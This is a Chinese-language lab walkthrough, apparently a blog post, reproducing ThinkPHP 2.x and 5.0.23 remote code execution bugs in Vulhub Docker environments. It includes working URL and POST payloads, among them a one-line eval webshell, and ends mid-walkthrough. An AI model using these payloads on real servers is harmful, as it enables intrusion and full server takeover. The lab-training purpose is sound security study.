【vulhub】thinkphp漏洞系列

【vulhub】thinkphp漏洞系列

ThinkPHP是什么

ThinkPHP是一款免费开源、快速、简单且面向对象的轻量级PHP开发框架。它遵循MVC设计模式,内置了全功能ORM、模板引擎、路由、缓存、验证器等丰富组件,极大地简化了数据库操作和Web开发流程。ThinkPHP尤其适合快速构建中小型企业网站、API接口和后台管理系统,拥有庞大的开发者社区和丰富的学习资源。

一、2-rce 远程代码执行漏洞
1. 漏洞描述

ThinkPHP 2.x版本的RCE漏洞主要源于其路由匹配机制中对用户输入的不当处理。具体来说,该框架在使用preg_replace的/e模式匹配路由时,未对用户输入参数进行充分过滤,导致输入参数被直接插入双引号中执行,从而引发任意代码执行漏洞。

漏洞原理: ThinkPHP 2.x在处理路由时,通过preg_replace函数的/e模式进行正则匹配,用户输入的参数可能被直接注入到代码执行上下文中,导致攻击者可构造恶意输入执行任意代码。

preg_replace(‘正则规则’,‘替换字符’,‘目标字符’)
如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。

影响范围: 主要影响ThinkPHP 2.x版本,部分3.0版本(如Lite模式)因未修复该问题也可能受影响。

2. 环境启动

cd vulhub-master/thinkphp/2-rce # 进入vulhub靶场文件目录
service docker start # 启动docker
sudo docker-compose up -d # 启动靶场服务
sudo docker ps -a # 查看服务状态

image

环境启动后,浏览器访问靶场,http://127.0.0.1:8080/ 或者 http://[ip]:8080/image

3. 漏洞验证与利用

构造payload:http://127.0.0.1:8080/?s=/Index/index/a/${@phpinfo()}image

写入一句话木马:

http://127.0.0.1:8080/?s=/Index/index/a/${@print(eval($_POST[cmd]))}

蚁剑连接:image

连接成功,添加数据:image

练习结束记得关闭靶场,避免端口被占用的情况sudo docker-compose down

二、5.0.23-rce 远程代码执行漏洞
1. 漏洞描述

漏洞原理:
由于框架对控制器名和请求方法的处理存在缺陷,攻击者可通过精心构造的URL或POST请求,绕过安全检测,调用框架内部的敏感函数(如system),从而执行任意PHP代码。

影响版本:
ThinkPHP 5.0系列 <= 5.0.23。

漏洞复现方法:

  • 访问目标站点的/index.php?s=captcha路径,若出现报错页面,表明可能存在漏洞。
  • 使用工具(如Burp Suite、Hackbar)发送POST请求,构造Payload:
    _method=__construct&filter[]=system&method=get&server[request_method]=<命令>
    (例如whoamiid等系统命令)。
  • 若成功执行命令,可进一步上传WebShell(需对代码进行Base64编码绕过过滤),实现对服务器的完全控制。

修复建议:

  • 升级ThinkPHP框架至5.0.24及以上版本。
  • 严格限制用户输入,加强服务器安全配置。
  • 定期进行安全扫描和漏洞检测。
2. 环境启动

cd vulhub-master/thinkphp/5.0.23-rce # 进入vulhub靶场文件目录
service docker start # 启动docker
sudo docker-compose up -d # 启动靶场服务
sudo docker ps -a # 查看服务状态

image

环境启动后,浏览器访问靶场,http://127.0.0.1:8080/ 或者 http://[ip]:8080/image

3. 漏洞验证与利用

http:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值